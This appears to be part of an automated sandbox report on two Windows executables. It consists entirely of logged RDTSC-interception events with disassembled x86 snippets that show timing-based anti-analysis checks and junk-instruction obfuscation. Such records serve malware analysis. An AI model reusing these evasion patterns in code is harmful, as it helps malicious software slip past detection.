Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54007F8 second address: 54007FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54007FC second address: 5400826 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44BC37E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F2D44BC37DAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400826 second address: 5400853 instructions: 0x00000000 rdtsc 0x00000002 mov bx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov al, 08h 0x00000009 popad 0x0000000a and ecx, 03h 0x0000000d pushad 0x0000000e jmp 00007F2D44C41DDFh 0x00000013 movzx esi, bx 0x00000016 popad 0x00000017 rep movsb 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov bx, cx 0x0000001f movzx eax, bx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400853 second address: 5400889 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44BC37E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F2D44BC37E7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400889 second address: 54008E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44C41DE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, ebx 0x0000000b jmp 00007F2D44C41DDEh 0x00000010 mov ecx, dword ptr [ebp-10h] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F2D44C41DDDh 0x0000001c or si, 3266h 0x00000021 jmp 00007F2D44C41DE1h 0x00000026 popfd 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54008E3 second address: 54008E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400B41 second address: 5400B50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44C41DDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400B50 second address: 5400B6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 127ACFFAh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F2D44BC37DAh 0x00000015 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: CBF55F second address: CBF569 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F2D44C41DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: CBF569 second address: CBEDB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jo 00007F2D44BC37D6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F2D44BC37DFh 0x00000016 jns 00007F2D44BC37D6h 0x0000001c popad 0x0000001d pop edx 0x0000001e nop 0x0000001f clc 0x00000020 push dword ptr [ebp+122D16A5h] 0x00000026 jmp 00007F2D44BC37E3h 0x0000002b call dword ptr [ebp+122D267Ch] 0x00000031 pushad 0x00000032 jmp 00007F2D44BC37DAh 0x00000037 xor eax, eax 0x00000039 jmp 00007F2D44BC37DDh 0x0000003e mov edx, dword ptr [esp+28h] 0x00000042 cmc 0x00000043 mov dword ptr [ebp+122D2BEDh], eax 0x00000049 cld 0x0000004a mov esi, 0000003Ch 0x0000004f mov dword ptr [ebp+122D1DECh], ebx 0x00000055 add esi, dword ptr [esp+24h] 0x00000059 mov dword ptr [ebp+122D1DECh], edi 0x0000005f lodsw 0x00000061 cmc 0x00000062 add eax, dword ptr [esp+24h] 0x00000066 jng 00007F2D44BC37E4h 0x0000006c jmp 00007F2D44BC37DEh 0x00000071 mov ebx, dword ptr [esp+24h] 0x00000075 sub dword ptr [ebp+122D1DECh], ebx 0x0000007b nop 0x0000007c push eax 0x0000007d push edx 0x0000007e pushad 0x0000007f push eax 0x00000080 push edx 0x00000081 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: CBEDB9 second address: CBEDC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F2D44C41DD6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: CBEDC4 second address: CBEDCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: CBEDCB second address: CBEDED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F2D44C41DE8h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3D3AA second address: E3D3AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3D3AE second address: E3D3BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F2D44C41DDEh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3D3BE second address: E3D3CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007F2D44BC37D6h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3C362 second address: E3C368 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3C368 second address: E3C385 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2D44BC37E9h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3C385 second address: E3C3A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F2D44C41DDDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jo 00007F2D44C41E05h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3C3A3 second address: E3C3C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2D44BC37E9h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3C519 second address: E3C536 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44C41DDDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F2D44C41DE4h 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3C67C second address: E3C682 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3CBA6 second address: E3CBAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3CBAA second address: E3CBF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jo 00007F2D44BC37D6h 0x0000000f jmp 00007F2D44BC37E7h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 jns 00007F2D44BC37F2h 0x0000001d rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3E5AC second address: CBEDB9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2D44C41DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007F2D44C41DD8h 0x00000010 popad 0x00000011 add dword ptr [esp], 0831393Ah 0x00000018 mov dword ptr [ebp+122D268Dh], edx 0x0000001e mov edx, 5630852Bh 0x00000023 push dword ptr [ebp+122D16A5h] 0x00000029 call 00007F2D44C41DDCh 0x0000002e mov edi, dword ptr [ebp+122D2DE1h] 0x00000034 pop esi 0x00000035 call dword ptr [ebp+122D267Ch] 0x0000003b pushad 0x0000003c jmp 00007F2D44C41DDAh 0x00000041 xor eax, eax 0x00000043 jmp 00007F2D44C41DDDh 0x00000048 mov edx, dword ptr [esp+28h] 0x0000004c cmc 0x0000004d mov dword ptr [ebp+122D2BEDh], eax 0x00000053 cld 0x00000054 mov esi, 0000003Ch 0x00000059 mov dword ptr [ebp+122D1DECh], ebx 0x0000005f add esi, dword ptr [esp+24h] 0x00000063 mov dword ptr [ebp+122D1DECh], edi 0x00000069 lodsw 0x0000006b cmc 0x0000006c add eax, dword ptr [esp+24h] 0x00000070 jng 00007F2D44C41DE4h 0x00000076 jmp 00007F2D44C41DDEh 0x0000007b mov ebx, dword ptr [esp+24h] 0x0000007f sub dword ptr [ebp+122D1DECh], ebx 0x00000085 nop 0x00000086 push eax 0x00000087 push edx 0x00000088 pushad 0x00000089 push eax 0x0000008a push edx 0x0000008b rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3E680 second address: E3E695 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2D44BC37E1h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3E695 second address: E3E6A8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F2D44C41DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3E6A8 second address: E3E6AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3E6AC second address: E3E6D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F2D44C41DD8h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 pushad 0x00000014 push ebx 0x00000015 jmp 00007F2D44C41DDBh 0x0000001a pop ebx 0x0000001b ja 00007F2D44C41DDCh 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3E6D5 second address: E3E762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 jg 00007F2D44BC37D9h 0x0000000c movzx esi, di 0x0000000f push 00000003h 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F2D44BC37D8h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b mov dword ptr [ebp+122D361Bh], eax 0x00000031 xor edx, dword ptr [ebp+122D2BD9h] 0x00000037 push 00000000h 0x00000039 push eax 0x0000003a mov esi, edi 0x0000003c pop esi 0x0000003d push 00000003h 0x0000003f add dword ptr [ebp+122D3D08h], edi 0x00000045 mov edx, 46B80700h 0x0000004a call 00007F2D44BC37D9h 0x0000004f jmp 00007F2D44BC37E7h 0x00000054 push eax 0x00000055 push edi 0x00000056 pushad 0x00000057 jl 00007F2D44BC37D6h 0x0000005d pushad 0x0000005e popad 0x0000005f popad 0x00000060 pop edi 0x00000061 mov eax, dword ptr [esp+04h] 0x00000065 push eax 0x00000066 push edx 0x00000067 jp 00007F2D44BC37DCh 0x0000006d jne 00007F2D44BC37D6h 0x00000073 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3E762 second address: E3E7A8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2D44C41DEDh 0x00000008 jmp 00007F2D44C41DE7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007F2D44C41DE9h 0x00000019 jnc 00007F2D44C41DD6h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3E7A8 second address: E3E7F8 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F2D44BC37D8h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jmp 00007F2D44BC37E8h 0x00000015 pop eax 0x00000016 movsx edi, dx 0x00000019 lea ebx, dword ptr [ebp+124534F8h] 0x0000001f mov di, si 0x00000022 xchg eax, ebx 0x00000023 jmp 00007F2D44BC37DDh 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F2D44BC37DAh 0x00000030 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3E8B2 second address: E3E8B8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3E8B8 second address: E3E995 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44BC37E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 3BB1D841h 0x00000010 xor dword ptr [ebp+122D2893h], ebx 0x00000016 push 00000003h 0x00000018 mov edx, dword ptr [ebp+122D3B67h] 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ebx 0x00000023 call 00007F2D44BC37D8h 0x00000028 pop ebx 0x00000029 mov dword ptr [esp+04h], ebx 0x0000002d add dword ptr [esp+04h], 00000014h 0x00000035 inc ebx 0x00000036 push ebx 0x00000037 ret 0x00000038 pop ebx 0x00000039 ret 0x0000003a call 00007F2D44BC37DFh 0x0000003f mov dh, 64h 0x00000041 pop ecx 0x00000042 push 00000003h 0x00000044 push 00000000h 0x00000046 push edi 0x00000047 call 00007F2D44BC37D8h 0x0000004c pop edi 0x0000004d mov dword ptr [esp+04h], edi 0x00000051 add dword ptr [esp+04h], 00000019h 0x00000059 inc edi 0x0000005a push edi 0x0000005b ret 0x0000005c pop edi 0x0000005d ret 0x0000005e call 00007F2D44BC37D9h 0x00000063 jns 00007F2D44BC37E2h 0x00000069 push eax 0x0000006a jmp 00007F2D44BC37E6h 0x0000006f mov eax, dword ptr [esp+04h] 0x00000073 jmp 00007F2D44BC37E7h 0x00000078 mov eax, dword ptr [eax] 0x0000007a push eax 0x0000007b push edx 0x0000007c ja 00007F2D44BC37DCh 0x00000082 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3E995 second address: E3E99B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3EA7D second address: E3EAB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jns 00007F2D44BC37D6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f sbb si, 4EC0h 0x00000014 push 00000000h 0x00000016 or dh, FFFFFFC7h 0x00000019 mov ecx, dword ptr [ebp+122D2E19h] 0x0000001f push 0A730126h 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F2D44BC37E4h 0x0000002c rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3EAB8 second address: E3EB5B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 xor dword ptr [esp], 0A7301A6h 0x0000000e mov edx, ecx 0x00000010 push 00000003h 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007F2D44C41DD8h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c call 00007F2D44C41DDCh 0x00000031 mov cx, bx 0x00000034 pop edi 0x00000035 mov edx, dword ptr [ebp+122D2DA9h] 0x0000003b push 00000000h 0x0000003d cld 0x0000003e mov edi, dword ptr [ebp+122D2E21h] 0x00000044 push 00000003h 0x00000046 jne 00007F2D44C41DEEh 0x0000004c call 00007F2D44C41DD9h 0x00000051 push edi 0x00000052 jmp 00007F2D44C41DE9h 0x00000057 pop edi 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007F2D44C41DDFh 0x00000060 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3EB5B second address: E3EB65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F2D44BC37D6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3EB65 second address: E3EBAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jnc 00007F2D44C41DECh 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F2D44C41DE7h 0x0000001d rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3EBAA second address: E3EBB4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2D44BC37D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3EBB4 second address: E3EBE8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2D44C41DD8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jmp 00007F2D44C41DDDh 0x00000015 pop eax 0x00000016 lea ebx, dword ptr [ebp+1245350Ch] 0x0000001c mov dword ptr [ebp+122D2870h], eax 0x00000022 xchg eax, ebx 0x00000023 push ecx 0x00000024 je 00007F2D44C41DDCh 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3EBE8 second address: E3EBF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E3EBF3 second address: E3EBFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E2E7FA second address: E2E812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2D44BC37DFh 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E2E812 second address: E2E817 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E2E817 second address: E2E833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jno 00007F2D44BC37D6h 0x0000000e jbe 00007F2D44BC37D6h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E2E833 second address: E2E84C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jng 00007F2D44C41DD6h 0x0000000c popad 0x0000000d jne 00007F2D44C41DDCh 0x00000013 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E2E84C second address: E2E856 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F2D44BC37D6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E5E943 second address: E5E949 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E5E949 second address: E5E94E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E5EC04 second address: E5EC18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pushad 0x0000000c jnc 00007F2D44C41DD6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E5EC18 second address: E5EC24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F2D44BC37D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E5ED73 second address: E5ED77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E5ED77 second address: E5EDB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F2D44BC37F6h 0x0000000c jmp 00007F2D44BC37DCh 0x00000011 jmp 00007F2D44BC37E4h 0x00000016 jmp 00007F2D44BC37DEh 0x0000001b popad 0x0000001c pushad 0x0000001d push edi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E5F051 second address: E5F055 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E552CF second address: E552D5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E552D5 second address: E552DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E552DF second address: E552E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E552E3 second address: E55317 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44C41DE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F2D44C41DE4h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E55317 second address: E5534F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2D44BC37E8h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2D44BC37E7h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E5534F second address: E55353 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E55353 second address: E5536A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F2D44BC37D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d js 00007F2D44BC37EFh 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E5FA23 second address: E5FA29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E5FA29 second address: E5FA41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44BC37E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E5FA41 second address: E5FA47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E5FA47 second address: E5FA4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E5FA4D second address: E5FA51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
